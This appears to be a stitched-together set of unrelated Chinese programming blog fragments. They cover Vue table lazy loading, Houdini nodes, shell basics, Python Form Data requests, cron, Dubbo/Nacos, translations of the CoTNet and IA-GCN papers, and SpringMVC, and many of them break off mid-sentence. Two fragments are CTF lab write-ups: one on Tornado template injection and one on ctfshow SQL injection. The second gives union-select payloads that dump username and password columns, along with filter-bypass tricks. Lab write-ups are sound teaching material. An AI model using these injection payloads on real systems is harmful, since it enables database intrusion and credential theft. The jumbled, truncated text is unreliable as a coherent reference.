需求背景 最近有个需求,需要根据用户输入的数字,生成对应行数的表格数据,比如输入10,那就是要生成一个10行的表格,1000就是1000行,表格内容不算复杂,感觉还是一个蛮简单的需求,谁知做着就发现问题了。就是当输入的数字超过1000的时候,明显感觉表格加载的有点卡顿,于是开始寻找解决之法。
解决思路 首先查看生成1000行表格数据所需的时间,由于计算过程是由js实现的,所以可以用
console.time('time') console.timeEnd('time'); 来查看代码执行耗时,time和 timeEnd成对出现,保持里面的参数一致即可。打印出来看到,生成1000条记录仅需6.5ms,
这~~~~~,还以为是计算的慢,看来和计算过程问题不大了,这里直接说影响问题的原因。
其实是Element渲染表格耗时太久,当我把输入数字调整到5000,计算也仅需30毫秒左右,而表格则需要等待2-3秒,知道是表格渲染的慢,那就换一种思路,一开始就加载100条,剩下的采用滚动加载的方式实现即可,下面的代码仅仅是一个示例代码,仅供参考。
实现代码 实现效果。
实现滚动加载需要添加一个包,el-table-infinite-scroll,使用npm或者cnpm 安装都行。
npm install --save el-table-infinite-scroll 包安装好之后引入进来,然后在el-table下指定滚动加载需要执行的方法即可
v-el-table-infinite-scroll="getDataNextPage"
完整代码如下。
<template> <div style="width: 400px; margin: 0 auto"> <el-button type="primary" size="mini" @click="initData">生成数据</el-button> <div style="margin-top: 10px"> <el-table :data="data" style="width: 100%" max-height="400px" min-height="300px" border v-el-table-infinite-scroll="getDataNextPage" > <el-table-column prop="name" label="姓名" min-width="10%" align="center" ></el-table-column> <el-table-column prop="age" label="年龄" min-width="10%" align="center"> </el-table-column> <el-table-column prop="gender" label="性别" min-width="10%" align="center" > </el-table-column> </el-table> </div> </div> </template> <script> import elTableInfiniteScroll from "
页面卡顿的原因、排查及解决方案 一、渲染不及时,页面掉帧 1》网络请求太多,请求返回的数据比较慢 接口返回慢的话,后端做些优化;前端适当做些缓存,减少不必要的重复的请求
可以从调试工具中的Network查看请求情况
2》回流和重绘多 减少dom的操作,适当使用keep-alive,v-show等
平时要养成良好的编码习惯
3》dom节点太多,渲染的比较慢 如果是数据确实太大的话,可能要从业务上调整一下,展示可能要改变下,比如说做分页什么的
从数据上和页面显示上可以查看
二、网页内存占用过高,运行卡顿 有可能内存泄露
1》全局变量引起的内存泄露 标记清理;离开作用域自动标记为可回收,在垃圾回收期间被删除
全局变量不会回收,局部变量会被回收,也就是函数一旦运行完以后,函数内部的东西都会被销毁;只要被另外一个作用域所引用就不会被回收 (闭包)
所以我们要尽量减少全局变量的使用,使用完引用类型的数据后解除引用
2》闭包引起的内存泄露 因为引用了其他作用域的变量,所以变量不会被回收
即使解除引用
3》定时器引起内存泄露 window.setTimeout(),window. setInterval()
清理定时器,这时定时器需要给他取名了
4》dom删除时没有解绑事件 5》循环引用 是否存在内存泄露的判断方式
调试工具的Performance
折线图部分
js heap:js占用内存大小,有没有内存泄露主要看这个(箭头指向的蓝色的线)
如果这条蓝线一直增加那么肯定存在内存泄露,那么可以到Memory中查看堆快照数据
底部的时间总览图形,查看各部分花费的时间:
loading:网络请求和html解析时间
scripting:js执行时间
redering:重排时间,计算尺寸,位置信息
painting:绘制时间
system:系统占用时间
idle:空闲等待时间
memory面板
我们可以多次快照进行对比,也可以看单次快照的趋势
节点的基本操作 1.想要切换视图看到某个节点所呈现的效果,要注意点击此节点的最右边蓝色键(或者蓝色小眼睛),如图所示:
2.想看看到物体以透视线框的形式展现,可以点击第二个按键,或者紫色的模板,如图所示:
下图为开启模板按键后的物体效果:
3.红色的雪花按钮为锁定按钮,一旦按确定锁定了雪花按钮,那么尝试再移动或者缩放这个节点,节点也不会发生变化。如下图所示:
节点的一些基本操作 对一个物体进行移动的操作: 1.在节点面板添加transform节点–>选中transform节点最右边的按钮–>把geo节点的输出和transform节点的输入连起来–>在场景面板中利用手柄进行移动;
2.在属性面板中选择center的三个参数按住鼠标中键,然后根据需要调整不同的单位大小的位置;
同时对一个物体进行两种移动的话,可以用两个transform节点来控制一个物体转移到两个位置。
3.按黄色的i按钮则会弹出节点当前的信息。
注意:若出现234报错,可参考本篇博客来解决问题:
【Houdini】Error 234:报错节点无法显示错误详情
在copy节点中修改复制的物体的朝向: 取消勾选以下这个选项(使用模板物体的点属性改变位移)
这个节点的作用包括但不限于:查模板物体的点的矢量属性作为方向、控制复制物体的方向;
关于copy节点的调出: copy节点不是在节点面板中直接按Tap键就可以调出来的,必须是点入所需要复制的geo节点后再按tap键才可以直接用名称检索到的。注意每个层级的节点是不一样的,因此如果存在找不到节点的情况很可能是层级没有设置好。
关于copy节点的复制控制: Total Number用来看复制了多少个个内容数量,通过调整下面的参数可以调整复制的内容的属性,譬如Translate就可以决定每次以怎样的一个向量来复制物体。
以下是上面这个参数所复制出来的物体的例子:
##
关于copytopoint节点 可以通过“撒点”的方式来控制物体的生成数量:
copytopoint节点通常与scatter节点一起来用,scatter节点通常用来做“撒点”的操作,然后用copytopoint来链接scatter节点,从而时间一个对点复制的操作。
如果想要scatter节点生成的点更加随机,而不是距离一定的间隔,可以将scatter节点中的这个部分取消勾选
随机生成的好帮手——attribwrangle节点 这个节点长成这个样子:
选中并连线好后,可以看到出现code窗口:
我们可以通过在Code窗口用代码来进行更好的自动化生成。教程中所给例子,是在让我们已经"撒点”生成的物体再来随机生成不同的大小,我们可以使用rand()函数,rand()函数可以把任何值(不同大小的值)传进入变成0-1的随机。因此使用它通过传进去一组非全部是一样的数来生成不同尺寸。
代码及效果如图所示:
此外,如果想要限制对象的大小范围,可以使用fit01()函数来确定范围
fit01()函数的写法fit01(0-1的数,最小值,最大值)
copytostamp节点及stamp函数 copytostamp节点可以调用多个属性
下面在节点出的输入相当于“Variable1 a=fit01(rand(@ptnum),0.5,1.5)"
然后我们会获得如下结果:
接下来我们想要该表这些小方块的方向,让这些小方块看起来更随机。而这次我们想要控制这些方块在xz面的旋转角度,所以我们在copytostamp节点增加一个属性:
然后在transform节点引用这个随机变化的属性:
千万注意!!!!
stamp函数使用的时候千万要勾选 Stamp Input!!!
uvquickshade节点 本节点可以帮助我们在由UV的模型上面快速地进行贴图制作。
如下图所示,在Texture Map中选中我们所需要贴的贴图的路径,带UV的模型就可以自动覆盖上贴图。
bend节点 当我们想要给花瓣一些扭曲和褶皱的效果的时候,我们就需要使用bend节点来制作,它相当于Maya中的绑定的功能
如图首先把bend节点和我们已经制作好的面片连接起来
然后在界面显示中按下回车键
我们会发现这个面片出现了这样的手柄
移动这个手柄可以发现自己这个面片以自己的中心为轴,进行了一个扭曲。
当然也可以在属性界面的bend中通过调整数值来控制面片的弯曲程度,
通过调整UV Vector Angle可以调整这个面片扭曲后的大小。
这里的Capture Direction可以调整我们扭曲的方向;
Capture Length可以调整手柄的长度;
Capture Origin可以调整我们扭曲的中心点的位置。
但是由于一个bend节点只能调整一个面片的半个方向的扭曲。因此我们复制多一个bend节点来调整另一半的扭曲程度。
鼠标点住需要复制的节点然后点击Alt就可以复制出来多一个节点:
然后调整bend1和bend2的链接位置,改变bend2的Capture Direction与bend1相反,就可以得到一个两边对称扭曲的花瓣了
文章目录 一、概述二、shell脚本执行方式2.1编写第一个脚本2.2多命令操作案例 三、Shell中的变量3.1特殊变量:用于接收shell脚本文件执行时传入的参数:$n3.2获取所有参数:$#3.3`$*`、`$@`,含义:都是获取所有传入参数,用于后续输出所有参数。3.4 $?含义:上一条命令执行状态 四、运算符五、条件判断5.1常用判断条件1、整数之间的比较2、按照文件权限进行判断3、按照文件类型进行判断4、案例实操 六、流程控制6.1Shell_if判断6.2Case语句6.3For循环6.4While循环 七、read读取控制台输入八、函数8.1定义函数与函数调用 一、概述 Shell 是一个命令解释器,用户可以用shell来启动、挂起、停止甚至是编写一些程序(也是一个编程语言)。
这个交互界面就是Shell:
terminal是输入命令和显示输出的那个窗口,shell是窗口背后在解释你输入的程序。
你在 windows上面打开的cmd和powershell都是窗口,但cmd默认解释输入的命令的方式是cmd,powershell则是powershell,Linux和mac上的terminal打开以后默认用的是shell,有些默认用的是cshell,有些用的是bash,这两个都是shell。
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
shell其实就是Linux里的一个翻译官,负责把命令翻译成二进制机器语言数字。
内核拥有最高级别、最底层的权限,在接受到shell命令以后可以直接控制硬件。
二、shell脚本执行方式 2.1编写第一个脚本 "hello.sh" [New] 5L, 71C written #先创建sh文件夹,在里面写代码: [root@localhost ~]# mkdir sh [root@localhost ~]# ls anaconda-ks.cfg fengjie Japan sh 模板 下载 cangjin hello.sh Japanlovestory.list yangmi 视频 音乐 cangjinwq install.log linghu zhengyi 图片 桌面 changjin install.log.syslog nvshen 公共的 文档 [root@localhost ~]# cd sh/ ##写脚本代码hello.sh [root@localhost sh]# vi hello.sh ##第一行是声明这个是shell脚本,指定解析器,必须有 #!/bin/bash #the first program #author:linghu echo -e "
在接口请求参数中,Form Data算是相对少见的,也正是少见,所以平时并没有太留意用法,有一些细节处理不好就会容易“上坑”。这里用一个例子简单记录一下用requests发送Form Data的实用例子。
如下图是在抓包过程中看到网络请求Form Data数据格式:
要实现的api接口:
api接口请求发送的数据:
实现的过程主要分2步,需要用到一个第三方模块requests_toolbelt:
1、安装 requests_toolbelt 模块,引入该模块下的 MultipartEncoder封装Form Data
2、生成请求header的centent_type值,并在接口中传入封装好的Form Data参数对象。
如下实现代码:
""" @IDE: PyCharm @Desc: """ from requests_toolbelt.multipart.encoder import MultipartEncoder import requests headers = { "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.9", "Cache-Control": "no-cache", "Connection": "keep-alive", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary6zQNxu3pk2G0HUKs", "Origin": "https://为安全着想,此处具体值省略", "Pragma": "no-cache", "Referer": "https://为安全着想,此处具体值省略-campaigns?ref_=vc_xx_subNav", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "X-Requested-With": "XMLHttpRequest", "cookie":'''为安全着想,此处具体值省略''' } request_body = MultipartEncoder( { "
1、安装:
sudo apt-te install cron 2、安装完成后直接使用:选择vim选项,输入 2
如果首次忘记修改此模式也可以:使用下面方式进行设置输入方式
EDITOR=vi export EDITOR 3、编写自己要执行的定时任务:
4、完成发现未执行 无具体日志输出:
首先确认是否 开启Crontab日志
vi /etc/rsyslog.d/50-default.conf 5、然后重启rsyslog服务
service rsyslog restart 然后再重启crontab服务
service cron restart 此时查看定时任务开始执行
业务需求:
需要在打印表格的时候,打印echarts,综合网上的资料。ps:坑真的多,晚上找到的资料基本都是粘贴复制,误人子弟我真是服了.
废话少说,先上截图.
首页是通过正常的echarts获取的,没啥好说的,其余的echats是通过v-echarts循环生成的,具体可以百度.
先说一下吧,一开始找到了一个print.js插件,但是每次生成echarts,第二次打开后便会重新生成img,因为pdf无法打印echarts,便在原来的基础上修改了一下,图片正常显示,基本完美解决了. 重要的一点是,打印的尺寸是A4,位置居中,这样预览的样式不会出现偏差.
步骤:
打印内容 ref自己可以随意去,插件会通过此名称代用. 打印方法:
printPDF() { this.$print(this.$refs.print); },
通过此方法便会开始打印。
截图代码:
<div ref="print" id="print" style="text-align: center;margin: 0 auto;width: 595px;"> <el-row style="height: 100%;page-break-after:always"> <el-col :span="24" style="font-size: 40px;font-weight: 500;margin-top: 150px;font-family: 宋体">******股份有限公司</el-col> <el-col :span="24" style="font-size: 26px;margin-top: 60px;font-weight: 500;font-family: 宋体">上<br/>传<br/>数<br/>据<br/>质<br/>量<br/>分<br/>析<br/>报<br/>告</el-col> <el-col :span="12"> <div id="left_echart" class="left_box"> </div> </el-col> <el-col :span="12"> <div id="right_echart" class="right_box"> </div> </el-col> <el-col :span="24" style="margin-top: 100px"> <div style="font-family: 宋体;font-size: 12px">数据上传时间:<span style="margin-left: 10px">2022-12-21</span></div> </el-col> <el-col :span="24"> <div style="
目录
一、SpringCloudAlibaba集成Dubbo、Nacos
二、版本问题解决
一、SpringCloudAlibaba集成Dubbo、Nacos 集成常规操作这个博主已经写的很详细了:
Spring Cloud Alibaba学习(九):Dubbo集成_IcyDate的博客-CSDN博客_dubbo集成
不过个人推荐将扫描包的配置放到配置文件:
如:
服务提供者:
server: port: 8881 spring: cloud: nacos: server-addr: localhost:8848 # nacos的服务配置 discovery: cluster-name: Service_cluster_1 #集群 group: Service_group_1 # 分组名 username: nacos # 用户名 password: nacos # 密码 namespace: public # 环境分类 application: name: dubbo-provider dubbo: protocol: name: dubbo port: -1 registry: address: spring-cloud://localhost:8848 scan: #dubbo的服务路径 base-packages: com.wxl.service 服务消费者:多添加一个订阅提供者名称会更规范
server: port: 8882 spring: cloud: nacos: server-addr: localhost:8848 # nacos的服务配置 discovery: cluster-name: Service_cluster_1 #集群 group: Service_group_1 # 分组名 username: nacos # 用户名 password: nacos # 密码 namespace: public # 环境分类 application: name: dubbo-consumer dubbo: protocol: name: dubbo port: -1 registry: address: spring-cloud://localhost:8848 cloud: subscribed-services: dubbo-provider #订阅的提供者名称 注意:先启动服务提供者,再启动服务消费者
论文下载:https://arxiv.org/pdf/2107.12292.pdf
源码下载:https://github.com/JDAI-CV/CoTNet
Abstract 使用自注意力机制的Transformer已经导致了自然语言处理领域的革命,最近出现了Transformer-style的架构设计,并在许多计算机视觉任务中取得了有竞争力的结果。然而,大多数现有的设计直接在二维特征图上使用自注意力,以获得基于每个空间位置的孤立的query-key对的注意力矩阵,但没有充分利用相邻键之间的丰富上下文。在这项工作中,我们设计了一种新的transformer-style模块,即上下文Transformer块(CoT),用于视觉识别。这种方法充分利用输入键之间的上下文信息来指导动态注意力矩阵的学习,增强了视觉表征能力。技术上,CoT块首先通过一个3×3的卷积对输入键进行上下文编码,从而得到输入的静态上下文表示。我们进一步将编码的键keys与输入查询queries拼接起来,通过两个连续的1×1卷积学习动态多头注意力矩阵。学习到的注意力矩阵乘以输入的values,以实现输入的动态上下文表示。静态和动态上下文表征的融合最终被视为输出。我们的CoT块很吸引人,因为它可以很容易地取代ResNet架构中的每一个3×3卷积,产生一个被称为上下文Transformer网络(CoTNet)的transformer-style backbone。通过在广泛应用(例如图像识别、目标检测和即实例分割)上的大量实验,我们验证了CoTNet作为更强主干的优越性。
1. Introduction 卷积神经网络(CNN)展示了学习辨别性视觉表征的高能力,并令人信服地很好地泛化到一系列计算机视觉(CV)任务,例如图像识别、目标检测、语义分割,CNN架构设计的实际方法是基于离散卷积算子(例如,3×3或5×5卷积),它有效地利用了空间局部性和平移等变性。然而,卷积的有限感受域对全局/长程依赖性的建模产生了不利影响,这种长程交互为许多CV任务提供了子服务。最近,自然语言处理(NLP)领域在强大的语言建模架构[14,49]中兴起了具有自注意力的transformer,它以可伸缩的方式触发长距离交互。受此启发,通过整合基于CNN的架构和transformer-style的模块,CV任务的极限得到了稳定的突破。例如,ViT[15]和DETR[5]使用Transformer中self-attention直接处理图像patches或CNN输出。[40,58]提出了一种局部自注意力模块的独立设计,它可以完全取代ResNet架构中的空间卷积。然而,以前的设计像传统的self-attention块(如图1a)主要依赖于独立的query-key对来计算注意力矩阵,从而忽略相邻键之间的丰富上下文。
图1 比较传统的自注意力和我们的上下文Transformer(CoT)块。(a) 传统的自注意力仅利用孤立的query-key对来测量注意力矩阵,但未利用keys之间丰富的上下文。相反,(b)CoT block首先通过3×3卷积挖掘keys之间的静态上下文。接下来,基于query和上下文key,利用两个连续的1×1卷积进行自注意力,生成动态上下文。静态和动态上下文的融合作为最终输出
在这项工作中,我们提出了一个简单的问题--有没有一种很好的方法通过利用二维特征图上输入键之间的丰富上下文来增强Transformer-style的体系结构?为此,我们提出了一种独特的Transformer-style块设计,命名为上下文Transformer(CoT),如图1 (b)所示。这种设计将键间的上下文挖掘和二维特征图上的自注意力学习结合在一个单一的体系结构中,从而避免了为上下文挖掘引入额外的分支。从技术上讲,在CoT块中,我们首先通过对3×3网格中的所有相邻键执行3×3卷积来将keys的表示上下文化。上下文化的键特征key feature可以被视为输入的静态表示,它反映了局部相邻键之间的静态上下文。在此基础上,我们将上下文化的键特征和输入查询拼接后送入到两个连续的1×1卷积,以生成注意力矩阵。这个过程自然地利用了每个query和所有keys之间的相互关系,在静态上下文的指导下进行自注意力学习。进一步利用学习到的注意力矩阵聚合所有输入的values,从而实现输入的动态上下文表示,以描述动态上下文。我们将静态和动态上下文表示的组合作为CoT块的最终输出。总之,我们的出发点是在输入键上同时捕捉上述两种空间上下文,即通过3×3卷积的静态上下文和基于上下文化自注意力的动态上下文,以促进视觉表征学习。
我们的CoT可以看作是一个统一的构建块,是现有ResNet结构中标准卷积的替代方案,无需增加参数和计算负担。通过直接用CoT块替换ResNet结构中的每个3×3卷积,我们提出了一种用于图像表示学习的新的上下文transformer网络(称为CoTNet)。通过一系列CV任务的广泛实验,我们证明我们的CoTNet优于一些最先进的backbones。值得注意的是,对于ImageNet上的图像识别,CoTNet相对于ResNeSt(101层)的top-1错误率绝对降低了0.9%。对于COCO数据集上的目标检测和实例分割,CoTNet绝对提高了ResNeSt的1.5%和0.7%的mAP。
2. Related Work 2.1 Convolutional Networks 由于通过AlexNet[29]在ImageNet数据集上的突破性性能,卷积网络(ConvNet)已成为CV领域的主导架构。ConvNet设计的一种主流遵循LeNet[30]的主要规则,即向更深的方向连续堆叠由低到高的卷积:8层的AlexNet、16层的VGG[43]、22层的GoogleNet[46]、152层的ResNet [22]。此后,人们提出了一系列convnet架构设计的创新,以增强convnet可视化表现能力。例如,受Inception模块中split-transform-merge策略的启发,ResNeXt[53]在同一拓扑中使用聚合的residual reansformations对ResNet进行升级。DenseNet[27]还支持跨层连接,以提高ConvNet的能力。SENet[26,25]没有利用ConvNet[28,37]中的空间依赖性,而是捕获通道之间的相互依赖性,以执行通道特征重新校准。[47]进一步扩展自动搜索的ConvNet,以获得一系列EfficientNet的网络,从而实现更高的准确性和效率。
2.2. Self-attention in Vision 从Transformer中的self-attention中得到启发,在各种NLP任务中不断获得令人印象深刻的表现,研究界开始更加关注视觉场景中的self-attention。NLP域[49]中原始的的self-attention机制被用来捕获序列模型中的长程依赖。在视觉领域,self-attention机制从NLP到CV的简单迁移是在图像中不同空间位置的特征向量上直接进行self-attention。特别是,在ConvNet中探索self-attention的早期尝试之一是非局部操作[51],它作为一个额外的块,将self-attention应用于卷积的输出。[3] 通过全局多头自注意力机制进一步增强卷积算子,以便于图像分类和目标检测。[24,40,58]在局部区域local patch(例如,3×3网格)中使用自注意力,而不是在整个特征图[3,51]中使用全局自注意力。这种局部自注意力的设计有效地限制了网络消耗的参数和计算,因此可以完全取代整个深层架构中的卷积。最近,通过将原始图像重新塑造成一维序列,采用序列transformer[7]来自动回归预测像素,以进行自监督表征学习。接下来,[5,15]直接将纯transformer应用于局部特征序列或图像块,用于目标检测和图像识别。最近,[44]设计了一个强大的backbone,用全局自注意力层替换ResNet中最后三个3×3的卷积。
2.3. Summary 在这里,我们还将重点探讨视觉backbone结构设计中的自注意力。大多数现有的技术直接利用传统的self-attention,因此忽略了相邻键之间丰富的上下文的显式建模。相比之下,我们的上下文transformer块在一个简单的结构中统一了keys之间的上下文挖掘和基于特征图的自注意力学习,并具有良好的参数预算。
3. Our Approach 在本节中,我们首先简要回顾了在视觉backbones中广泛采用的传统自注意力。接下来,介绍了一种新的transformer-style块,称为上下文transformer(CoT),用于图像表示学习。这种设计超越了传统的自注意力机制,通过额外利用输入键之间的上下文信息来促进自注意力学习,最终提升了深层网络的表征特性。在整个深层体系结构中使用CoT块替换3×3卷积后,进一步阐述了两种上下文transformer网络,即分别源自ResNet[22]和ResNeXt[53]的CoTNet和CoTNeXt。
3.1 Multi-head Self-attention in Vision Backbones 图2 (a)传统的自注意力块和(b)我们的上下文化Transformer块的详细结构 和分别表示元素求和和局部矩阵乘法。 在这里,我们提出了视觉backbones中可缩放局部多头自注意力的一般公式[24,40,58],如图2(a)所示。形式上,给定一个大小为H×W×C(H:高度,W:宽度,C:通道数)的输入二维特征图X,我们通过embedding矩阵(Wq,Wk,Wv)分别将X转换为queries Q=XWq,keys K=XWk和values V=XWv。值得注意的是,每个embedding矩阵在空间中实现为1×1卷积。然后,我们得到keys K和queries Q之间的局部关系矩阵:
这里Ch是head的数量,表示局部矩阵乘法运算,该运算测量每个查询query与空间中局部k×k网格内的对应关键字keys之间的配对关系。因此,在R的第i个空间位置的每个特征是一个k×k×Ch维向量,它由所有heads的Ch个局部query-key关系映射(size:k×k)组成。局部关系矩阵R进一步丰富了每个k×k网格的位置信息:
其中表示在每个k×k网格内的二维相对位置embeddings,并且在所有Ch heads之间共享。接下来,通过将增强的空间感知局部关系矩阵与沿通道维度每个head的Softmax运算进行归一化来获得注意力矩阵A:A=Softmax()。在对A的每个空间位置特征向量进行reshape为Ch个局部注意力矩阵(size:k×k)后,最终的输出特征图被计算为每个k×k网格内的所有values与学习的局部注意力矩阵的聚合:
值得注意的是,每个head的局部注意力矩阵仅用于聚集通道维度的V的均匀划分的特征图,最终输出Y是所有heads聚集的特征图的拼接。
3.2. Contextual Transformer Block 传统的自注意力很好地触发了不同空间位置之间的互动,这取决于输入本身。然而,在传统的自注意力机制中,所有成对的query-key关系都是在独立的query-key对上独立学习的,没有探索其间丰富的上下文。这严重限制了视觉表征学习的二维特征图上的自注意力学习能力。为了解决这个问题,我们构建了一个新的transformer-style构建块,即图2(b)中的上下文transformer(CoT)块,它将上下文信息挖掘和自注意力学习集成到一个统一的体系结构中。我们的出发点是充分利用相邻keys之间的上下文信息,以有效的方式促进自注意力学习,并增强输出聚合特征图的代表性。
特别地,假设我们有相同的输入二维特征图。keys,queries和values分别被定义为K=X,Q=X和V=XWv。CoT块不是像典型的自注意力那样通过1×1卷积对每个key进行编码,而是首先在所有相邻keys上采用k×k群卷积,在空间上采用k×k网格,以便将每个key表示上下文化。学习到的的上下文化keys 自然地反映局部相邻键之间的静态上下文信息,我们将作为输入X的静态上下文表示。然后,在将上下文化的键和queries Q拼接的条件下,通过两个连续的1×1卷积(Wθ带有ReLU激活函数,Wδ没有激活函数)实现注意力矩阵: 换句话说,对于每个head,A的每个空间位置的局部注意力矩阵是基于查询特征和上下文化的键特征学习的,而不是基于单独的query-key对。这种方式通过挖掘的静态上下文的额外指导来增强自注意力学习。接下来,根据上下文化的注意力矩阵A,我们将典型的self-attention中的所有values V聚集,计算出注意力特征图: 鉴于参与特征图捕捉了输入之间的动态特征交互,我们将其命名为输入的动态上下文表示。因此我们的CoT 块的最终输出(Y)为静态上下文和通过注意力机制获得的动态上下文的融合。
【重难点】【SpringMVC 01】SpringMVC和Spring是什么关系、SpringMVC底层实现流程、POST、GET、PUT、DELETE方式的区别 文章目录 【重难点】【SpringMVC 01】SpringMVC和Spring是什么关系、SpringMVC底层实现流程、POST、GET、PUT、DELETE方式的区别一、SpringMVC和Spring是什么关系二、SpringMVC底层实现流程三、GET、PUT、POST、DELETE的区别 一、SpringMVC和Spring是什么关系 在框架的使用中,Spring 类似于一个具有多种特性(IOC、AOP等),也可以说是多种功能模块的应用平台,并且可以与其它一些优秀并流行的开源框架进行快速地整合。在前几年,MVC 是一个非常好的写作模式,能够有效降低代码的耦合度,从架构上能够让开发者明白代码应该写在哪里,而 SpringMVC 就是建立在 Spring 应用平台之上的 MVC 模型
Spring 和 SpringMVC 是父子容器关系
Spring 整体框架的核心思想是容器,用来管理 Bean 的生命周期,而一个项目中会包含很多容器,并且它们分上下层关系。目前最常用的一个场景是在一个项目中导入 Spring 和 SpringMVC 框架,而 Spring 和 SpringMVC 其实就是两个容器,Spring 是父容器,SpringMVC 是子容器,Spring 父容器中注册的 Bean 对 SpringMVC 子容器是可见的,反之则不行
按照官方文档的推荐,根据不同的业务模块来划分不同的容器中注册不同的 Bean。SpringMVC 主要就是为我们构建 WEB 应用程序,因此 SpringMVC 子容器用来注册 WEB 组件的 Bean,如控制器、处理器映射、视图解析器等。而 Spring 用来注册其它 Bean,这些 Bean 通常是驱动应用后端的中间层和数据层组件
二、SpringMVC底层实现流程 三、GET、PUT、POST、DELETE的区别 HTTP 定义了与服务器交互的不同方法,最基本的是 GET、POST、PUT、DELETE
GET 请求会向数据库发送获取数据的请求,从而获取信息,该请求就像数据库的 SELECT 操作一样,只是用来查询数据,不会影响数据的内容
与 GET 不同的是,PUT 请求是向服务器端发送数据的,从而改变信息,该请求就像数据库的 UPDATE 操作一样,用来修改数据的内容,但是不会增加数据的种类
POST 请求与 PUT 请求类似,都是向服务器端发送数据的,但是该请求会改变数据的种类等资源,就像数据库的 INSERT 操作一样,会创建新的内容。几乎目前所有的提交操作都是用 POST 请求
报错如下:
Bad Request: JSON parse error: Cannot deserialize value of type `java.time.LocalDate` from String "2020-1-2": Failed to deserialize java.time.LocalDate: (java.time.format.DateTimeParseException) Text '2020-1-2' could not be parsed at index 5; nested exception is com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot deserialize value of type `java.time.LocalDate` from String "2020-1-2": Failed to deserialize java.time.LocalDate: (java.time.format.DateTimeParseException) Text '2020-1-2' could not be parsed at index 5 at [Source: (PushbackInputStream); line: 8, column: 15] (through reference chain: com.ledar.mono.domain.Patient["birthday"]) java 中 Instant 类型的数据在 swagger 上进行测试时 以json 格式输入时格式为2018-07-09T08:59:08.
知识点:
SSTI(模板注入),render函数,Tornado框架(知识点在最后)
打开靶机,看到三个链接:
分别点进去:
注意每个链接的url:
/file?filename=/xxx&filehash=32位MD5
根据flag.txt和hint.txt提示url的形式为:文件名+32位MD5
再看hint.txt的提示:md5(cookie_secret+md5(filename))。明显我们要先找到cookie_secret进行MD5加密,再和进行MD5加密后输入的文件名进行连接,再次加密。
可知想得到flag也就是需要构造:
/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
那么如何得到cookie_secret? 先尝试输入一个相同格式的/fllllllllllllag:
/file?filename= /fllllllllllllag&filehash=fc5e038d38a57032085441e7fe7010b0(这里随便构造了一个MD5进行测试,不是正确答案)
查看有没有信息:
输入后就会跳转到/error?msg=Error 提示有签名错误,发现/error?msg=签名错误。根据提示网页提示:render(渲染)函数,联想到ssti注入(模板注入)
SSTI注入:服务端模板注入
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
简单来说就是,用户输入的东西在进行分析后被传出来视图层进行模板渲染(render),让用户看到结果。模板是不同的,因此会有不同的传输结果。
php常见的模板:twig,smarty,blade。而render函数就存在于模板twig中:
比如:
<?php require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php'; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 echo $output; ?> Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。其中,render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"] ,
而用户可以控制输入的变量,像这样:
render("Hello {$_GET['name']}")
用户输入1则输出“Hello 1”
如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
除此之外,在Twig模板引擎里,,{{var}} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值。这里用户输入name={{6+10}},则输出“Hello 16” 基于此,我们尝试输入:/error?msg={{1}},输出1,可以确定是模板注入。
至于要寻找cookie_secret,要先知道tornado框架:
Tornado全称Tornado Web Server,是一个用Python语言写成的Web服务器兼Web应用框架 tornado官方文档详情Templates and UI — Tornado 6.
web入门——sql注入 基础知识点判断是否注入order by 判断列数使用union select 判断回显查询数据库 web171web172web173web174web175sql注入绕过方法一、注释符号绕过二、大小写绕过三、内联注释绕过双写关键字绕过五、特殊编码绕过六、空格过滤绕过七、or and xor not 过滤绕过八、=号过滤绕过 web176web177web178web179web180web181web182web183web184web185web186web187web188web189web190web191web192web193web194web195web196web197web198web199-web200web201使用sqlmap爆库爆表爆列名爆字段 web202web203web204web205web206web207web208web209web210web211web212web213 基础知识点 判断是否注入 使用注释符–+
+代表的是空格
或者使用%23来做注释符#
1' and 1=1%23
order by 判断列数 order by 是根据某一列进行排序
使用
1' order by 3--+
返回正常
1' order by 4--+
没有数据
说明列数是3
使用union select 判断回显 联合查询 取的列段要一致
查询数据库 -1' union select 1,2,database()--+
web171 本地测试,查询id为id = '9999' or id='3',9999不存在时会查询id=3
25' or id='26
-1'union select id,username,password from ctfshow_user --+
web172 查询不能为flag
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
机缘 最初用于日常学习的记录,第一步后并没有持续的创作。后来听到以下的信息,深以为然。自己学习的东西需要持久化,否则很快就会忘记。同时结构化,系统化的知识体系便于快速的掌握新知识,梳理学习思路。同时可以建立个人的影响力。这才开始系统化的积累,系统在在21年里总结90余篇,22年期望能记录80篇,每月记录10篇,加油。
收获 最主要是个人知识体系的建立与学习;增强了自己的技能,为新的工作做好的储备。
日常 22年新工作后放松了2个月时间。闲暇时间学习。
憧憬 按照优先级顺序:
robot Framework 测试框架完成Docker人工智能分析OpenStack 云计算平台
IA-GCN: Interactive Graph Convolutional Network for Recommendation 0.论文信息 paper地址:https://arxiv.org/pdf/2204.03827v1.pdfcode:未公开 1. 摘要 问题: 在之前的研究工作中,在embedding过程中没有考虑user-item之间的交互特征
方法: 提出了IA-GCN模型,在user-item之间建立双边交互指导。
